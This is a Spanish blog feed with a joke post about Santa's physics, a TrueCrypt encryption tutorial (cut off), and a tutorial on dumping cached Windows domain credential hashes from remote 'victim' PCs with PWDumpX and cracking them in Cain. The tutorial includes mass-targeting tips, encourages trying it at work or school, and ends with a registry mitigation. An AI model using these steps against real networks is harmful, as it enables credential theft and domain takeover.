Papa Noel dispone de 31 horas en Nochebuena para realizar su trabajo, gracias a los diferentes usos horarios y la rotación de la tierra. Esto supone 822,6 visitas por segundo. En otras palabras Papa Noel dispone de una milésima de segundo para aparcar, salir del trineo, bajar por la chimenea, llenar los calcetines y en su caso dejar los demás regalos bajo el árbol, comerse lo que le hayan dejado, trepar otra vez por la chimenea, subir al trineo y marchar a la siguiente casa. Suponiendo que estas 91,8 millones de paradas este distribuida uniformemente sobre la superficie de la tierra (lo cual es completamente falso pero en este caso puede servirnos para los cálculos) habrá 1,2 km. entre casa y casa lo que hace un total de 110 millones de km. De todo ello se deduce que el trineo de Papa Noel se mueve a una velocidad media de unos 1000 km./seg., 3000 veces la velocidad del sonido, 70 veces la velocidad de la sonda espacial Ulises, el vehículo más veloz construido jamas por el ser humano, y 450.000 veces la velocidad punta de un reno convencional.<br /></div><br /><div style="text-align: justify;">4) La carga del trineo, suponiendo que cada niño sólo se lleve un tente de tamaño medio, 0,9 kg, seria del orden de 321.000 toneladas, todo ello excluyendo el peso del propio Papa Noel, al que la iconografía clásica siempre describe como bastante orondo. Un reno convencional no es capaz de transportar más alla de 150 kg, aun suponiendo que el reno volador de la Laponia septentrional pudiera multiplicar por diez esa capacidad de carga, serian necesarios unos 214.000 renos voladores.<br /></div><br /><div style="text-align: justify;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img513.imageshack.us/img513/9851/santaclausdrunkgh2.jpg"><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 244px; height: 244px;" src="http://img513.imageshack.us/img513/9851/santaclausdrunkgh2.jpg" alt="" border="0" /></a>5) Sin contar con el peso del propio trineo, hablaríamos de 353.000 toneladas de materia viajando a 1000km/seg. Un movimiento de masas de tal calibre crearía una resistencia aerodinámica enorme, lo que supondría un calentamiento de los renos similar al que experimenta una nave espacial a su entrada a la atmósfera. Cada uno de los renos de cabeza absorbería un trillón de kilojulios por segundo lo que hace estimable que el tiro completo se vaporizase en 4,26 milésimas de segundo.<br /></div><br /><div style="text-align: justify;">Papa Noel mientras tanto sufriría unas fuerzas centrifugas 17.500 veces superiores a las de la gravedad, lo cual, estimando su peso en unos benévolos 120 kg, significaría que seria aplastado contra el asiento con una fuerza equivalente a 2.000.000 de kg, lo cual le produciría la muerte instantánea<br /></div><br /><div style="text-align: justify;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img235.imageshack.us/img235/3910/chucknorrisei5.jpg"><img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 155px; height: 194px;" src="http://img235.imageshack.us/img235/3910/chucknorrisei5.jpg" alt="" border="0" /></a>Y de todas formas fue asesinado por Chuck Norris cuando se le olvido el regalo de Navidad de este ultimo, todo apunta a una patada giratoria como causa principal de muerte.<br /><br /><span style="font-weight: bold;">Conclusión:</span> ¿Papá Noel no existe? Eso es mentira. Chuck Norris es Papá Noel. Papá Noel son tus padres. Chuck Norris es Dios y Dios es el padre de todos.<span style="font-weight: bold;"></span><br /></div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3031385326498684086-4645004365504968191?l=locvtvs.blogspot.com' alt='' /></div>|_ocutushttp://www.blogger.com/profile/02250837178980619341noreply@blogger.com3tag:blogger.com,1999:blog-3031385326498684086.post-73357857153604669872008-10-16T13:54:00.010-03:002008-10-17T21:07:46.409-03:00<div style="TEXT-ALIGN: justify">Este texto es d nivel 1 poco + alto q los anteriores aunq si le prestan atención y buscan en google cualquiera con conocimientos básicos puede entenderlo. No voy a explicar todos los conceptos desde abajo ya q c espera q el lector tenga esos conocimientos... o c preocupe x obtenerlos... je... cualquier duda dejen comentarios y las contesto.<br /></div><div style="TEXT-ALIGN: justify"><br />X lo gral, en las grandes redes, los administradores c preocupan de poner la mayor atención en la seguridad de sus servers dejando las estaciones d trabajo bastante + abandonadas. Esto tiene cierta logica ya q el mayor peligro esta en 1 atacante q logre acceso x ej al Domain Controller (d ahora en adelante DC) o simplemente a la clave d admin d dominio.<br /><br />Teniendo los servers asegurados tenemos asegurada la bd d usuarios con sus hashes y teóricamente lo unico q podria conseguir 1 atacante desde 1 estacion d trabajo es alguna pass local q como mucho le serviria para moverse x las pcs (en entornos corporativos c usa la misma pass d admin local en los clientes en el 99% d los casos) pero no poder pasar d ahí hacia los servers... entonces el dominio estaria asegurado... o no?? xD<br /><br />Hace unas semanas vimos como conseguir la pass local en pocos mins:<br /></div><br /><a href="http://locvtvs.blogspot.com/2008/08/crackear-contraseas-locales-de-windows.html">Crackear contraseñas locales de Windows</a><br /><br /><div style="TEXT-ALIGN: justify">este metodo puede fallar pero teniendo 1 buen poder d proceso y tiempo todo c puede crackear (en el futuro veremos q hacer si el ophcrack no encuentra la pass), todo depende d si vale o no la pena el tiempo a invertir. Vamos a ver entonces como con derechos locales podemos conseguir algunos hashes de dominio y con 1 poco d suerte y casi nada d riesgo tal vez el del admin.<br /></div><br /><span style="font-size:130%;"><br /></span><span style="FONT-WEIGHT: bold; COLOR: rgb(255,255,204)">MSCache</span><br /><br /><div style="TEXT-ALIGN: justify">Cuando logueamos en 1 dominio (ahora Active Directory o AD) nuestra contraseña se envia encriptada al DC donde c comprueba q sea correcta para dejarnos ingresar y aplicar nuestros derechos sobre la red. Todo este proceso es mucho + seguro q loguear en 1 pc local o en 1 grupo d trabajo... o tendría q serlo ya q teóricamente los passes deberían estar alojados solamente en el DC.<br /><br />Q pasaria entonces si tenemos 1 laptop corporativa cuyo user loguea en el dominio d la empresa cuando este no esta en la misma? Para poder usar su maquina fuera del trabajo deberia tener 2 users, 1 local y 1 del AD, ya q al no poder acceder a la red no podria autenticar su pass y x lo tanto loguear en el sistema, acceder a su perfil d dominio, etc.<br /></div><br /><div style="TEXT-ALIGN: justify"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.blancmange.net/wp-content/2006/11/billborg.jpg"><img style="FLOAT: left; MARGIN: 0pt 10px 10px 0pt; WIDTH: 320px; CURSOR: pointer" alt="" src="http://www.blancmange.net/wp-content/2006/11/billborg.jpg" border="0" /></a>Pero parece q los sres d Microsoft creyeron q era demasiado trabajo para sus pobres users, y decidieron cachear la pass en el sistema para poder loguear cuando no este disponible el DC. De esta manera cuando ingresamos al dominio nuestra pass queda en cache en el registro d win y podemos loguear sin estar conectados a ninguna parte con la ultima q accedimos. X supuesto q si la pass c cambia en el DC mientras esta desconectada va a seguir usando la del cache hasta q vuelva a la red y vea q hay 1 nueva. A partir d s momento cachea la nueva pass.<br /><br />A esta altura ya estaran viendo adonde apunta todo esto. Muy sencillo... conseguir el hash cacheado, crackearlo y... bue... 1 agujero de seguridad enorme!!... je<br /></div><br /><br /><span style="FONT-WEIGHT: bold; COLOR: rgb(255,255,204)">PWDumpX</span><br /><br /><div style="TEXT-ALIGN: justify">PWDumpX es la herramienta con la q vamos a extraer los hashes. Tambien lo podriamos hacer con Cain, q vamos a usar + tarde para desencriptar, pero tenemos 1 pequeña desventaja... con Cain podemos sacar los hashes d dominio alojados localmente, en cambio con PWDumpX podemos sacarlos d cualquier pc d la red sobre la q tengamos derechos d admin local (el agujero c agranda xD)...<br /><br />Esta herramienta fue escrita en perl x Reed Arbin y la pueden bajar de aca:<br /></div><br />http://reedarvin.thearvins.com/tools.html<br /><br /><div style="TEXT-ALIGN: justify">el uso es bastante sencillo. Descomprimimos a alguna carpeta en el rigido y lo corremos desde ahí. Esta es la ayuda:<br /></div><br /><span style="font-size:85%;">Usage: PWDumpX [-clph] <hostname><username><password><br /><br />[-clph] -- optional argument<br /><hostname>-- required argument<br /><username>-- required argument<br /><password>-- required argument<br /><br />-c -- Dump Password Cache<br />-l -- Dump LSA Secrets<br />-p -- Dump Password Hashes<br />-h -- Dump Password History Hashes<br /><br />If the <username>and <password>arguments are both plus signs (+), the<br />existing credentials of the user running this utility will be used.<br /><br />Examples:<br />PWDumpX 10.10.10.10 + +<br />PWDumpX 10.10.10.10 administrator password<br /><br />PWDumpX -lp MyWindowsMachine + +<br />PWDumpX -lp MyWindowsMachine administrator password<br /><br />PWDumpX -clph IPInputFile.txt + +<br />PWDumpX -clph IPInputFile.txt administrator password</password></username></password></username></hostname></password></username></hostname></span><br /><br /><div style="TEXT-ALIGN: left"><br /><hostname file="" input="" ip=""><username><password><hostname file="" input="" ip=""><username><password><username><password></password></username></password></username></hostname></password></username></hostname></div><div style="TEXT-ALIGN: justify"><hostname file="" input="" ip=""><username><password><hostname file="" input="" ip=""><username><password><username><password>Como podemos ver tambien puede extraer los hashes normales, lsa secrets, etc… pero lo q nos interesa a nosotros es la opcion “-c” o sea “dump password cache”. Entonces el formato seria:</password></username></password></username></hostname></password></username></hostname><br /><br /></div><hostname file="" input="" ip=""><username><password><hostname file="" input="" ip=""><username><password><username><password></password></username></password></username></hostname></password></username></hostname><br /><div style="TEXT-ALIGN: left"><hostname style="FONT-STYLE: italic" file="" input="" ip=""><username><password><hostname file="" input="" ip=""><username><password><username><password></password></username></password></username></hostname></password></username></hostname><hostname style="FONT-STYLE: italic" file="" input="" ip=""><username><password><hostname file="" input="" ip=""><username><password><username><password>Pwdumpx –c nombrepcvictima user password</password></username></password></username></hostname></password></username></hostname><br /><hostname file="" input="" ip=""><username><password><hostname file="" input="" ip=""><username><password><username><password></password></username></password></username></hostname></password></username></hostname><br /><hostname file="" input="" ip=""><username><password><hostname file="" input="" ip=""><username><password><username><password></password></username></password></username></hostname></password></username></hostname></div><div style="TEXT-ALIGN: justify"><hostname file="" input="" ip=""><username><password><hostname file="" input="" ip=""><username><password><username><password>X supuesto como ya dijimos el user debe tener derechos d admin sobre la victima. Si queremos usar las credenciales con las q estamos logueados seria asi:</password></username></password></username></hostname></password></username></hostname><br /></div><hostname file="" input="" ip=""><username><password><hostname file="" input="" ip=""><username></username></hostname></password></username></hostname><br /><div style="TEXT-ALIGN: left"><hostname file="" input="" ip=""><username><password><hostname file="" input="" ip=""><username><password></password></username></hostname></password></username></hostname><hostname style="FONT-STYLE: italic" file="" input="" ip=""><username><password><hostname file="" input="" ip=""><username><password><username><password>Pwdumpx –c nombrepcvictima + +</password></username></password></username></hostname></password></username></hostname><br /><hostname file="" input="" ip=""><username><password><hostname file="" input="" ip=""><username><password><username><password></password></username></password></username></hostname></password></username></hostname></div><hostname file="" input="" ip=""><username><password><hostname file="" input="" ip=""><username><password><username><password><br />En pantalla veriamos esto:<br /><br /></password></username></password></username></hostname></password></username></hostname><div style="TEXT-ALIGN: center"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img291.imageshack.us/img291/4607/05tw9.jpg"><img style="WIDTH: 500px; CURSOR: pointer; HEIGHT: 273px" alt="" src="http://img291.imageshack.us/img291/4607/05tw9.jpg" border="0" /></a><br /><br /><div style="TEXT-ALIGN: left"><div style="TEXT-ALIGN: justify">MULTIVAC-DC2 es el DC secundario d mi red. Lo hice contra s xq era lo q tenia + a mano, x supuesto q en la realidad c puede complicar 1 poco + y van a tener q buscar 1 pc donde c haya logueado el admin d dominio o el user q les interese.<br /><br />El pwdumpx como vemos en la captura devuelve 1 fila llamada multivac-dc2-PWCache.txt, vamos a buscar el archivo y encontramos esto dentro:<br /></div><br />Administrator:B3A0102769XXXXXXXXXXD535D35E8363:MULTIVAC:MULTIVAC.LOCUTUS<br /><br /><div style="TEXT-ALIGN: justify">Los campos estan bastante claros. User, hash, nombre dominio (pre2k) y nombre del AD (multivac.locutus). Como pueden ver puse algunas “X” para q no salga el hash completo y alguno c ponga a crackearme la pass. xD<br /><br />Si hay + passes cacheados salen en el mismo formato 1 debajo del otro, ya con ellos nos podemos ir a crackearlas a 1 lugar + tranquilo...<br /><br />Esta tambien la opcion si a alguien le interesa d poner 1 lista d pcs victima en 1 txt para hacer 1 ataque masivo y llevarnos todos los hashes q podamos, c hace simplemente cambiando el campo nombredelavictima x el txt.<br /></div><br /><br /><span style="FONT-WEIGHT: bold; COLOR: rgb(255,255,153)">Crackeando con CAIN</span><br /><br /><div style="TEXT-ALIGN: justify">No voy a ponerme tampoco a explicar el uso d CAIN. Se supone q el q lee esto tiene idea d como usarlo o las ganas d aprender ya q tampoco es tan difícil lo q tenemos q hacer. El CAIN se descarga d aca:<br /></div><br />http://www.oxid.it/cain.html<br /><br /><div style="TEXT-ALIGN: justify">abrimos el soft y vamos a la pestaña “cracker” y en la lista d la izquierda podemos ver en 3er lugar “mscache hashes”. Si hacemos click y presionamos el boton “+” q c encuentra arriba podemos extraer los locales, d forma q tambien podriamos usar cain sin tener q recurrir al pwdumpx si lo q queremos son los hashes d users d dominio almacenados localmente. Lo q no podemos hacer es extraer los remotos.<br /><br />El problema con el q nos encontramos es q no nos permite importar y x lo tanto no podemos introducir los hashes q traemos del pwdumpx. Para esto vamos a hacer 1 pequeño truquito.<br /><br />Con cain cerrado vamos al dir d instalación y buscamos el archivo “CACHE.LST”. Si le dimos al boton + antes y obtuvimos algo, podemos ver q en el archivo c encuentran los hashes q saco d la pc pero en este formato:<br /></div><br />MULTIVAC LOCUTUS B713D9AXXXXXXXXXX9FA9FE639874737<br /><br /><div style="TEXT-ALIGN: justify">O sea… dominio (pre2k), usuario y hash. Lo q tenemos q hacer es agregar el q tenemos debajo d este d manera q quedaria:<br /></div><br />MULTIVAC LOCUTUS B713D9AXXXXXXXXXX9FA9FE639874737<br />MULTIVAC ADMINISTRATOR B3A0102769XXXXXXXXXXD535D35E8363<br /><br /><div style="TEXT-ALIGN: justify">Muy importante... poner después d cada hash q c agrega 1 tabulacion y 1 salto d linea para q c vea. El formato final seria dominio – 1 tab – user - 2 tabs – hash – 1 tab – newline. Abrimos nuevamente cain y ya los podemos ver:<br /></div><br /><div style="TEXT-ALIGN: center"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img100.imageshack.us/img100/8638/06xc8.jpg"><img style="WIDTH: 500px; CURSOR: pointer; HEIGHT: 400px" alt="" src="http://img100.imageshack.us/img100/8638/06xc8.jpg" border="0" /></a><br /><br /><div style="TEXT-ALIGN: left"><div style="TEXT-ALIGN: justify">ahora nos queda lo + largo... crackearla. Para esto podemos usar distintos metodos según lo q tengamos. Haciendo click derecho sobre la entrada vemos las posibilidades:<br /></div><br /><div style="TEXT-ALIGN: center"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://img407.imageshack.us/img407/5888/07rf2.jpg"><img style="WIDTH: 500px; CURSOR: pointer; HEIGHT: 400px" alt="" src="http://img407.imageshack.us/img407/5888/07rf2.jpg" border="0" /></a><br /></div><br /><div style="TEXT-ALIGN: justify">Podemos elegir entre ataque x medio d diccionarios, fuerza bruta o rainbow tables. Las rainbow no son las estandard sino q son especificas para mscache. Pueden descargarlas d algun p2p o generarlas uds mismos con alguno d los softs q andan x ahí para s fin. Tambien tienen opcion d testear passes a mano si tienen alguna idea d q puede ser.<br /><br />Finalmente lo unico q queda es ir a su trabajo, escuela o lo q sea y pasar a ser dueño absoluto d la red.... je... sean eticos y no hagan maldades.<br /><br />Me olvidaba algo importante... xD<br /><br />Hay una key en el registro para determinar cuantos users pueden almacenarse. la key es:<br /><br />CachedLogonsCount<br /><br />y esta en:<br /><br />HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon<br /><br />El valor x defecto es 20, o sea q el sistema cachea hasta 20 passes. Poniendo el valor en 0 se deshabilita el cacheo de passes d dominio, asi q los admins ya saben lo q tienen q hacer... ;) </div></div></div></div></div><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3031385326498684086-7335785715360466987?l=locvtvs.blogspot.com' alt='' /></div>|_ocutushttp://www.blogger.com/profile/02250837178980619341noreply@blogger.com7tag:blogger.com,1999:blog-3031385326498684086.post-50992058571977907602008-10-02T16:10:00.020-03:002008-10-02T19:55:00.830-03:00<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_rgCsrVyHiHw/SOVIpHuja0I/AAAAAAAAAHE/OLqEpUKrfWE/s1600-h/truecrypt.JPG"><img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer;" src="http://3.bp.blogspot.com/_rgCsrVyHiHw/SOVIpHuja0I/AAAAAAAAAHE/OLqEpUKrfWE/s320/truecrypt.JPG" alt="" id="BLOGGER_PHOTO_ID_5252684411683695426" border="0" /></a> <br /><div style="text-align: justify;">La privacidad es algo q la mayoria de la gente parece tomar muy en serio si c le pregunta, pero a la hora d preservar sus datos electronicos la mayoria son capaces de dejar en 1 txt del escritorio sus numeros de tarjeta con cvv incluido + num d cuenta del bco + pin. No hay una toma d conciencia d q los datos privados pueden ser accedidos x 1 atacante externo ya q hoy en dia todo esta conectado a internet, o tambien x alguien q logre acceso fisico a la pc. <br /> <br />Paranoia? Mmm... 1 poco tal vez. No c olviden nunca q 1 poco d paranoia es buena en este tema. 1 viejisimo dicho d la cultura under es el famoso “be paranoid”, q creo q nunca va a pasar d moda... y hasta puede ser q tenga cada dia + validez. Nuestros datos son solo nuestros y nadie tiene q andar husmeando x ahí... hay q tener en cuenta q cualquier cosa puede ayudar a conocer el perfil d 1 persona para luego usar con ella ingenieria social. Cualquier dato, al parecer d muchos insignificante, q nos puedan robar puede a ayudar a concretar 1 estafa o lo q sea. Hay q resguardar todo d ser posible, pero aunq sea empecemos x la info sensible. Despues si quieren encriptan todo el hd... ;) <br /> <br />Q podemos hacer para lograr esto? Simple... usar la criptografia o encriptación de nuestros datos. Veamos la definición d criptografia según wikipedia: <br /> <br /><span style="font-style: italic;">La criptografía (del griego κρύπτω krypto, «oculto», y γράφω graphos, «escribir», literalmente «escritura oculta») es el arte o ciencia de cifrar y descifrar información utilizando técnicas que hagan posible el intercambio de mensajes de manera segura que sólo puedan ser leídos por las personas a quienes van dirigidos. <br /> <br /></span> <span style="font-style: italic;">Con más precisión, cuando se habla de esta área de conocimiento como ciencia se debería hablar de criptología, que engloba tanto las técnicas de cifrado, la criptografía propiamente dicha, como sus técnicas complementarias: el criptoanálisis, que estudia los métodos que se utilizan para romper textos cifrados con objeto de recuperar la información original en ausencia de las claves.</span> <br /> <br />No voy a dar 1 explicacion de criptografia ya q no soy el + indicado, ademas d q no es el punto d este tema pero x lo q leemos arriba podemos darnos 1 idea d lo q estamos haciendo. La idea consiste en tomar 1 texto plano y, x medio d 1 algoritmo d encriptación y x lo gral 1 clave, convertirlo en algo ilegible e imposible d recuperar a – q tengamos la dicha clave. <br /> <br />Hay 1 soft muy bueno q nos va a ayudar a hacer esto y ademas d todo lo mejor es q... es completamente free!!. El software es el famoso Truecrypt y lo pueden bajar d su pagina oficial: <br /></div> <br />http://www.truecrypt.org/ <br /> <br /><div style="text-align: justify;">viene tanto en versión windows como tambien osX y linux. La instalación es muy sencilla, el tipico next->next->finish. Podemos básicamente encriptar datos d 3 formas. <br /></div> <br />· Crear 1 contenedor para los archivos q después montamos como 1 unidad + <br />· Encriptar 1 particion q no tenga SO. <br /><div style="text-align: justify;">· Encriptar 1 particion q contenga 1 SO en la cual nos va a pedir clave en el booteo <br /></div> <br /><div style="text-align: justify;">Al iniciar el programa hacemos click en el boton “crear volumen” y nos aparece 1 ventana como esta:</div><p class="MsoBodyText2"> <br /></p><p class="MsoBodyText2"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_rgCsrVyHiHw/SOUe1tOgMrI/AAAAAAAAAFk/UWT5unQSJt4/s1600-h/01.JPG"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_rgCsrVyHiHw/SOUe1tOgMrI/AAAAAAAAAFk/UWT5unQSJt4/s320/01.JPG" alt="" id="BLOGGER_PHOTO_ID_5252638448419877554" border="0" /></a></p><p class="MsoBodyText2"> <br /></p><p class="MsoBodyText2"><meta equiv="Content-Type" content="text/html; charset=utf-8"><meta name="ProgId" content="Word.Document"><meta name="Generator" content="Microsoft Word 9"><meta name="Originator" content="Microsoft Word 9"><link rel="File-List" href="file:///C:/DOCUME%7E1/tecnico3/CONFIG%7E1/Temp/msoclip1/03/clip_filelist.xml"><!--[if gte mso 9]><xml> <w:worddocument> <w:view>Normal</w:View> <w:zoom>0</w:Zoom> <w:hyphenationzone>21</w:HyphenationZone> <w:donotoptimizeforbrowser/> </w:WordDocument> </xml><![endif]--><style> <!-- /* Font Definitions */ @font-face {font-family:Wingdings; panose-1:5 0 0 0 0 0 0 0 0 0; mso-font-charset:2; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:0 268435456 0 0 -2147483648 0;} @font-face {font-family:"Arial Unicode MS"; panose-1:2 11 6 4 2 2 2 2 2 4; mso-font-charset:128; mso-generic-font-family:swiss; mso-font-pitch:variable; mso-font-signature:-1 -369098753 63 0 4129023 0;} @font-face {font-family:"\@Arial Unicode MS"; panose-1:2 11 6 4 2 2 2 2 2 4; mso-font-charset:128; mso-generic-font-family:swiss; mso-font-pitch:variable; mso-font-signature:-1 -369098753 63 0 4129023 0;} /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {mso-style-parent:""; margin:0cm; margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:12.0pt; font-family:"Times New Roman"; mso-fareast-font-family:"Times New Roman";} p.MsoBodyText, li.MsoBodyText, div.MsoBodyText {margin:0cm; margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:12.0pt; font-family:"Times New Roman"; mso-fareast-font-family:"Times New Roman"; font-style:italic;} p.MsoBodyText2, li.MsoBodyText2, div.MsoBodyText2 {margin:0cm; margin-bottom:.0001pt; text-align:justify; mso-pagination:widow-orphan; font-size:12.0pt; font-family:"Times New Roman"; mso-fareast-font-family:"Times New Roman";} a:link, span.MsoHyperlink {color:blue; text-decoration:underline; text-underline:single;} a:visited, span.MsoHyperlinkFollowed {color:purple; text-decoration:underline; text-underline:single;} p {margin-right:0cm; mso-margin-top-alt:auto; mso-margin-bottom-alt:auto; margin-left:0cm; mso-pagination:widow-orphan; font-size:12.0pt; font-family:"Arial Unicode MS";} @page Section1 {size:612.0pt 792.0pt; margin:70.85pt 3.0cm 70.85pt 3.0cm; mso-header-margin:36.0pt; mso-footer-margin:36.0pt; mso-paper-source:0;} div.Section1 {page:Section1;} /* List Definitions */ @list l0 {mso-list-id:931743380; mso-list-type:hybrid; mso-list-template-ids:1255956752 201981953 201981955 201981957 201981953 201981955 201981957 201981953 201981955 201981957;} @list l0:level1 {mso-level-start-at:0; mso-level-number-format:bullet; mso-level-text:; mso-level-tab-stop:36.0pt; mso-level-number-position:left; text-indent:-18.0pt; font-family:Symbol; mso-fareast-font-family:"Times New Roman"; mso-bidi-font-family:"Times New Roman";} ol {margin-bottom:0cm;} ul {margin-bottom:0cm;} --> </style> </p><div style="text-align: justify;">ahí podemos ver las 3 opciones d las q hablábamos. Vamos a crear 1 contenedor q la verdad q me parece lo + comodo y lo + facil d ocultar. El principio basico es q si el atacante no sabe siquiera q hay datos encriptados o donde estan le va a resultar mucho + dificil conseguirlos desencriptados... xD <br /> <br />El contenedor es simplemente 1 archivo como cualquier otro q puede ser movido, copiado o borrado como cualquiera sin perder sus características. Entonces... “create a file container”, next y vemos esta otra pantalla: <br /></div> <br /><div style="text-align: center;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_rgCsrVyHiHw/SOUhMSiitPI/AAAAAAAAAGE/w7pXEhAJIlc/s1600-h/02.JPG"><img style="cursor: pointer;" src="http://3.bp.blogspot.com/_rgCsrVyHiHw/SOUhMSiitPI/AAAAAAAAAGE/w7pXEhAJIlc/s320/02.JPG" alt="" id="BLOGGER_PHOTO_ID_5252641035416417522" border="0" /></a> <br /></div> <br /><div style="text-align: justify;">tipo d volumen... standard u oculto... vamos a ver esto con 1 poco d detalle xq vale la pena. <br /> <br />El standard es lo q hablábamos antes, 1 fila encriptada normal a la cual podemos poner donde queramos o con los atributos q c nos ocurra. X ej podemos ponerla como oculta, sistema y ponerle algun nombre q parezca algo d nuestro SO... alguna dll inexistente d system32 x ej si usamos windows. <br /> <br />Pero q pasa si tenemos 1 atacante frente a frente q sabe q tenemos 1 particion oculta apuntándonos con 1 9mm amenazándonos con vaciar el cargador en nuestra cabezita si no le decimos donde esta el contenedor y le damos la pass?? O tal vez el asunto sea + leve pero llevandonos a la situación d tener q poner la pass y mostrar el contenido a otra persona. Demasiada paranoia?? Mmm.... hay q pensar en todo siempre. ;) <br /> <br />Para eso justamente existe el tipo d volumen oculto. Lo q hace este sistema es meter 1 particion encriptada dentro d otra. En este grafico c v bastante claro: <br /></div> <br /><div style="text-align: center;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_rgCsrVyHiHw/SOUhehuFUjI/AAAAAAAAAGM/eZ_lpbZTYU0/s1600-h/hidden-volume.gif"><img style="cursor: pointer;" src="http://3.bp.blogspot.com/_rgCsrVyHiHw/SOUhehuFUjI/AAAAAAAAAGM/eZ_lpbZTYU0/s320/hidden-volume.gif" alt="" id="BLOGGER_PHOTO_ID_5252641348729000498" border="0" /></a> <br /></div> <br /><div style="text-align: justify;">arriba vemos 1 particion standard d truecrypt, lo q esta en verde es la cabecera, lo violeta el espacio ocupado x archivos y finalmente lo gris es el espacio libre. El detalle es q el espacio libre esta formado x info aleatoria... esta es la forma en q c crea cualquier partición d truecrypt. <br /> <br />Ahora... si en s espacio libre metemos 1 particion a su vez encriptada seria imposible diferenciarla d los datos aleatorios... perfecto!! <br /> <br />En el 2do grafico ya tenemos la partición oculta representada x el color azul. Detrás de la cabecera d la anterior (verde) podemos ver 1 nueva cabecera en celeste q es la del volumen oculto. Tanto la cabecera como la partición son imposibles d reconocer sin la clave, sin ella siguen siendo “info aleatoria” exactamente igual al espacio libre... ;) <br /> <br />Entonces... vamos a tener 2 claves distintas. 1 para la partición encriptada “normal” y otra para la "oculta”. X supuesto q deben ser distintas. Entonces, cuando ponemos la pass d la 1era partición entra directamente a esta y toma el resto como “espacio libre” o “datos aleatorios”. Si ponemos en cambio la pass de la 2da, la 1er cabecera la toma como incorrecta y pasa el control a la 2da q monta la partición oculta. <br /> <br />Asi podemos tener en la 1era partición algun dato q no nos importe q vean y lo valioso en la 2da. No “pass incorrecta” ni nada d eso. Bueno... este metodo solo en caso d “extrema paranoia”. Sigamos con el metodo “normal”. Elegimos la opcion d “standard truecrypt volume” y vamos a la siguiente ventana: <br /></div> <br /><div style="text-align: center;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_rgCsrVyHiHw/SOUhqrbup-I/AAAAAAAAAGU/uORtoyle3AU/s1600-h/03.JPG"><img style="cursor: pointer;" src="http://4.bp.blogspot.com/_rgCsrVyHiHw/SOUhqrbup-I/AAAAAAAAAGU/uORtoyle3AU/s320/03.JPG" alt="" id="BLOGGER_PHOTO_ID_5252641557494802402" border="0" /></a> <br /></div> <br /><div style="text-align: justify;">nos pide 1 nombre d archivo para crear el volumen encriptado. Ponemos ruta y nombre q tengamos ganas. Recomendable como deciamos antes meterlo en algun lado q parezca algun archivo d sistema o cualquier cosa q no llame demasiado la atención. Tambien c puede seleccionar 1 archivo existente, el cual seria destruido en el proceso. Siguiente y vamos a: <br /></div> <br /><div style="text-align: center;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_rgCsrVyHiHw/SOUiBfnpHtI/AAAAAAAAAGc/_4nAwpHJl6Y/s1600-h/04.JPG"><img style="cursor: pointer;" src="http://2.bp.blogspot.com/_rgCsrVyHiHw/SOUiBfnpHtI/AAAAAAAAAGc/_4nAwpHJl6Y/s320/04.JPG" alt="" id="BLOGGER_PHOTO_ID_5252641949460537042" border="0" /></a> <br /></div> <br /><div style="text-align: justify;">el tipo d algoritmo d encriptación q queremos usar, todos son bastante difíciles d romper. Hay q tener en cuenta q a mayor complejidad del algoritmo mayor es el tiempo d encriptación/decriptacion d los archivos con los q trabajamos. Haciendo click en el boton “benchmark” c pueden comparar tiempos d c/u. <br /></div> <br /><div style="text-align: center;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_rgCsrVyHiHw/SOUiNpZUpxI/AAAAAAAAAGk/9DbtBmPn-58/s1600-h/05.JPG"><img style="cursor: pointer;" src="http://2.bp.blogspot.com/_rgCsrVyHiHw/SOUiNpZUpxI/AAAAAAAAAGk/9DbtBmPn-58/s320/05.JPG" alt="" id="BLOGGER_PHOTO_ID_5252642158243260178" border="0" /></a> <br /></div> <br /><div style="text-align: justify;">en la pantalla siguiente definimos el tamaño d la partición. Si solo queremos guardar unos pocos datos de texto con unos kbs alcanza. Next y vamos a la pantalla d password: <br /></div> <br /><div style="text-align: center;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_rgCsrVyHiHw/SOUiawryffI/AAAAAAAAAGs/iLKoCNrd_60/s1600-h/06.JPG"><img style="cursor: pointer;" src="http://1.bp.blogspot.com/_rgCsrVyHiHw/SOUiawryffI/AAAAAAAAAGs/iLKoCNrd_60/s320/06.JPG" alt="" id="BLOGGER_PHOTO_ID_5252642383538060786" border="0" /></a> <br /></div> <br />no pongan 12345... xD <br /> <br /><div style="text-align: center;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_rgCsrVyHiHw/SOUio023YnI/AAAAAAAAAG0/7YsXCcpLmSw/s1600-h/07.JPG"><img style="cursor: pointer;" 